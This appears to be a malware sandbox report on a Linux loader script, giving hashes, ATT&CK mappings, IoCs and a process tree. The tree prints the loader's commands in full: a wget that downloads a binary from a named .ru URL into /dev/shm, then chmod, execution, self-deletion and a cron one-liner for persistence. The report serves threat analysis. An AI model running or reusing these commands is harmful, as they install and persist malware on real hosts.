715f8acee84fe273a0a450a80b5ffb18c0f4579ae0ecbbecdc31a0a207cb5b40

Analysis

max time kernel
146s
max time network
148s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
19/07/2026, 18:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
loader.sh
Size 1KB
Sample260719-wtaaaagt9m
SHA256 715f8acee84fe273a0a450a80b5ffb18c0f4579ae0ecbbecdc31a0a207cb5b40
MD5 e4d826fb7a4ecdfab07d4e5658adfad6
SHA1 fd8fa0ca678f3c6a6a8a434e7403a88d47db7893
SHA512 9e941b385849d13c8c817426cf391a53782b9320a378efd10b31198601693134935aed4755202b81247905c1e15b30f19545e14262e87d1eddc753cc89afbeb5
TLSH
T19041DFCB7AA3D4B197C7C4381FD6F141E35624430995A998B08EBC343F69120FCB1E56
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
678	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/dev/shm/.jbd2_sda1d	679	loader.sh
/dev/shm/.jbd2_sda1d	691	.jbd2_sda1d

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.hqhwcj	crontab

Enumerates running processes
Discovers information about currently running processes on the system

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	.jbd2_sda1d
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	.jbd2_sda1d

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/exe	.jbd2_sda1d
File opened for reading	/proc/1/cmdline	.jbd2_sda1d
File opened for reading	/proc/15/cmdline	.jbd2_sda1d
File opened for reading	/proc/2/cmdline	.jbd2_sda1d
File opened for reading	/proc/293/cmdline	.jbd2_sda1d
File opened for reading	/proc/6/cmdline	.jbd2_sda1d
File opened for reading	/proc/11/cmdline	.jbd2_sda1d
File opened for reading	/proc/22/cmdline	.jbd2_sda1d
File opened for reading	/proc/281/cmdline	.jbd2_sda1d
File opened for reading	/proc/3/cmdline	.jbd2_sda1d
File opened for reading	/proc/9/cmdline	.jbd2_sda1d
File opened for reading	/proc/143/cmdline	.jbd2_sda1d
File opened for reading	/proc/106/cmdline	.jbd2_sda1d
File opened for reading	/proc/140/cmdline	.jbd2_sda1d
File opened for reading	/proc/25/cmdline	.jbd2_sda1d
File opened for reading	/proc/41/cmdline	.jbd2_sda1d
File opened for reading	/proc/43/cmdline	.jbd2_sda1d
File opened for reading	/proc/640/cmdline	.jbd2_sda1d
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/641/cmdline	.jbd2_sda1d
File opened for reading	/proc/650/cmdline	.jbd2_sda1d
File opened for reading	/proc/10/cmdline	.jbd2_sda1d
File opened for reading	/proc/169/cmdline	.jbd2_sda1d
File opened for reading	/proc/8/cmdline	.jbd2_sda1d
File opened for reading	/proc/16/cmdline	.jbd2_sda1d
File opened for reading	/proc/17/cmdline	.jbd2_sda1d
File opened for reading	/proc/220/cmdline	.jbd2_sda1d
File opened for reading	/proc/324/cmdline	.jbd2_sda1d
File opened for reading	/proc/591/cmdline	.jbd2_sda1d
File opened for reading	/proc/135/cmdline	.jbd2_sda1d
File opened for reading	/proc/295/cmdline	.jbd2_sda1d
File opened for reading	/proc/590/cmdline	.jbd2_sda1d
File opened for reading	/proc/76/cmdline	.jbd2_sda1d
File opened for reading	/proc/185/cmdline	.jbd2_sda1d
File opened for reading	/proc/315/cmdline	.jbd2_sda1d
File opened for reading	/proc/12/cmdline	.jbd2_sda1d
File opened for reading	/proc/298/cmdline	.jbd2_sda1d
File opened for reading	/proc/585/cmdline	.jbd2_sda1d
File opened for reading	/proc/self/exe	.jbd2_sda1d
File opened for reading	/proc/14/cmdline	.jbd2_sda1d
File opened for reading	/proc/24/cmdline	.jbd2_sda1d
File opened for reading	/proc/28/cmdline	.jbd2_sda1d
File opened for reading	/proc/691/cmdline	.jbd2_sda1d
File opened for reading	/proc/27/cmdline	.jbd2_sda1d
File opened for reading	/proc/29/cmdline	.jbd2_sda1d
File opened for reading	/proc/633/cmdline	.jbd2_sda1d
File opened for reading	/proc/642/cmdline	.jbd2_sda1d
File opened for reading	/proc/108/cmdline	.jbd2_sda1d
File opened for reading	/proc/566/cmdline	.jbd2_sda1d
File opened for reading	/proc/23/cmdline	.jbd2_sda1d
File opened for reading	/proc/109/cmdline	.jbd2_sda1d
File opened for reading	/proc/19/cmdline	.jbd2_sda1d
File opened for reading	/proc/21/cmdline	.jbd2_sda1d
File opened for reading	/proc/26/cmdline	.jbd2_sda1d
File opened for reading	/proc/42/cmdline	.jbd2_sda1d
File opened for reading	/proc/5/cmdline	.jbd2_sda1d
File opened for reading	/proc/713/cmdline	.jbd2_sda1d
File opened for reading	/proc/636/cmdline	.jbd2_sda1d
File opened for reading	/proc/658/cmdline	.jbd2_sda1d
File opened for reading	/proc/98/cmdline	.jbd2_sda1d
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/18/cmdline	.jbd2_sda1d
File opened for reading	/proc/20/cmdline	.jbd2_sda1d
File opened for reading	/proc/283/cmdline	.jbd2_sda1d

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.jbd2_sda1d	wget

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.font-unix/.font0-lock	.jbd2_sda1d
File opened for modification	/tmp/.ICE-unix/.ICEauth	.jbd2_sda1d

/tmp/loader.sh
/tmp/loader.sh
1⤵
- Executes dropped EXE
PID:644
- /bin/uname
  uname -m
  2⤵
  PID:647
- /usr/bin/tr
  tr "[:upper:]" "[:lower:]"
  2⤵
  PID:649
- /bin/rm
  rm -f /dev/shm/.jbd2_sda1d
  2⤵
  PID:653
- /usr/bin/wget
  wget -qO /dev/shm/.jbd2_sda1d https://tpkpolus.ru/wp-content/plugins/dvgfltm/aa//jbd2_sda1d
  2⤵
  - Writes file to shm directory
  PID:655
- /bin/chmod
  chmod +x /dev/shm/.jbd2_sda1d
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /dev/shm/.jbd2_sda1d
  /dev/shm/.jbd2_sda1d
  2⤵
  - Executes dropped EXE
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:679
- - /dev/shm/.jbd2_sda1d
    /dev/shm/.jbd2_sda1d
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    - Writes file to tmp directory
    PID:691
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:718
  - - /bin/bash
      bash -c "(crontab -l 2>/dev/null; echo '* * * * * pgrep -x .jbd2_sda1d > /dev/null || /dev/shm/.jbd2_sda1d > /dev/null 2>&1 &') | crontab -"
      4⤵
      PID:721
    - - /usr/bin/crontab
        
        crontab -
        5⤵
        Creates/modifies Cron job
        Reads runtime system information
        
        PID:725
    - - /usr/bin/crontab
        
        crontab -l
        5⤵
        Reads runtime system information
        
        PID:728
- /usr/bin/realpath
  realpath /tmp/loader.sh
  2⤵
  PID:680
- /bin/rm
  rm -f /tmp/loader.sh
  2⤵
  PID:681

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.jbd2_sda1d

Path /dev/shm/.jbd2_sda1d
Size 1.7MB
SHA256 9f6cd92d6e83fd1df9a44dd67e4e09272b1a067108f5106356552a0b30e9fc3d
MD5 33674bee6b76c7bf5047946aff50da07
SHA1 b747ffcd07f0af879bb3a4b6ad8b6adcac4f8e6d
SHA512 04b49730fb8aee3c7811b26daa23a2e1d18d63d84a9c579e1058cff83ab6521933fb67f6081a46d7a0965f1b24dc399f990d7c663b6de4641395da5a45720407
SSDEEP 49152:I5fSyYsGT8mUyhjejW07Wj7rjCiVxPNewu4+H89:I9xYrT8ueR7Wj7rTfoH8
TLSH
T14E853335907B6D0833D1FFF197E3CCAB0839E6E152107D286073AAF407D6E6A994A9D1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.wget-hsts

Path /root/.wget-hsts
Size 166B
SHA256 7eaf490db97b7093b788e47a8c6d72ca1094e441b3572d5655652a113c50c81d
MD5 fe91c9d81a0f260868464ecf3cc7986d
SHA1 ba11f8c3a07eceece2d30f4aeaf6c906d3633fa1
SHA512 644faeed67ab212cc321323948a5f23a7d8a9697ba4173858cf547023dbe822bce18921e3f0a331517c43a35f92371483d0d66b4ed81333aa44b8995f81bf99a
TLSH
T198C08C33F158F245169162F9E181395B1AD8F66E2728988A8C07A2222629E01FCE4D3C
MD5 SHA1 SHA512 TLSH

Submit Download

.ICEauth

Path /tmp/.ICE-unix/.ICEauth
Size 6B
SHA256 f4610147ccb1045bb1527a23cbef201cb6f3539f42e46b8d07b30deaf35cda0e
MD5 5aafc4bcb7d1f080b716604898a06a22
SHA1 0d5ef6497360afefdc7d77aa5c408730679a09ed
SHA512 106bbe6759c6a0a1f791db93106209f07245c31f1954e9a152c07d5cb828a98b2481d7559a3b2b6d82734f199ba8c32f3f32e54bb0e741d47309bac6e76b3783
MD5 SHA1 SHA512

Submit Download

.font0-lock

Path /tmp/.font-unix/.font0-lock
Size 3B
SHA256 809e63d5c8aa03af112d17361058d0d8955f6d8e1e7591487d593dad276f9757
MD5 10a5ab2db37feedfdeaab192ead4ac0e
SHA1 3da7e2c2144502d7115bee98a0dfe95030345b43
SHA512 63d6c2f0dc431a56725667829dc104a66dee682543bd24bc23b63d559030857791befc2ec34dfe08c0e48543283249e974d3772e1ecd7e4470cd67c319a32eaa
MD5 SHA1 SHA512

Submit Download

tmp.hqhwcj

Path /var/spool/cron/crontabs/tmp.hqhwcj
Size 261B
SHA256 5f69f8d9dcdf5a100f7a6bcf1618b8b9350cd04b37e5b4d5440d293dbfd3bf03
MD5 9edd8b80516fdaa539850e769813c3d3
SHA1 838d630fabb1cb82365191e1846118cbfbff6e16
SHA512 cdced0167b2831b3ca3fdc033648629b6a56ad17b2f34f24f07f272f1b0fc6e60f83eb2650932e537bf7f98b2051e67c49c8688c4c041be43def4711099795e4
TLSH
T194D02B78FB105D303E140744256F30156A83A43A404EDE01F18E2024022D30E6B40B33
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads